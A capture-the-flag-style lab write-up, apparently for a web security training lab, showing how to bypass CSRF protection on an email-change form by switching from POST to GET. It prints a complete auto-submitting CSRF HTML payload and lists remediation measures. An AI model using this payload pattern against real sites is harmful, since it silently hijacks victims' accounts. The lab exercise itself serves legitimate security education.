SCENARIO

The application consists of an email change functionality which is vulnerable to CSRF but it blocks all POST requests and accepts GET requests. We will try to mount an exploit and deliver it to the target with the help of an exploit server in order to change the email address of the target.

**PROCEDURE**

1. Go the vulnerable web applications and log in with the username and password provided to act as an user.
2. Then change the email once to study the HTTP request and response.
3. In the BurpSuite’s Proxy tab right click on the request and select Engagement tools and then on generate CSRF PoC.
4. Then in the dialogue box enable the option to auto-submit script and click Regenerate.
5. Go to the exploit server and paste the request into the body tag of the exploit and then click store.
6. At the end, click the button to deliver the exploit to the victim, we will see that our POST request gets rejected due to security measures.
7. Now modify the request from POST to GET in order to get it through the security protocols.

**PAYLOAD**

<html>

<!-- CSRF PoC - generated by Burp Suite Professional -->

<body>

<script>history.pushState('', '', '/')</script>

<form action="https://0a5f00f6030be8ae85e982a5003f0055.web-security-academy.net/my-account/change-email" method="GET">

<input type="hidden" name="email" value="rudransh@gmail.com" />

<input type="submit" value="Submit request" />

</form>

<script>

document.forms[0].submit();

</script>

</body>

</html>

**REMEDIATION**

1. **Avoid State-Changing GET Requests:** It's a best practice to never use GET requests for state-changing operations. Such operations should exclusively use POST requests or other appropriate HTTP methods. Implement this rule to mitigate the threat of such CSRF attacks.
2. **Implement Anti-CSRF Tokens:** Even if you're using GET requests, you can still implement anti-CSRF tokens. This ensures that the server checks for the presence and correctness of a token for every sensitive request. While it's less conventional to use CSRF tokens with GET requests, it's feasible when you need to secure state-changing GET endpoints.
3. **Referer and Origin Header Checks:** Implement server-side checks for the Referer and Origin headers to ensure the request is coming from a trusted origin. If the headers are missing or don't match expected values, reject the request.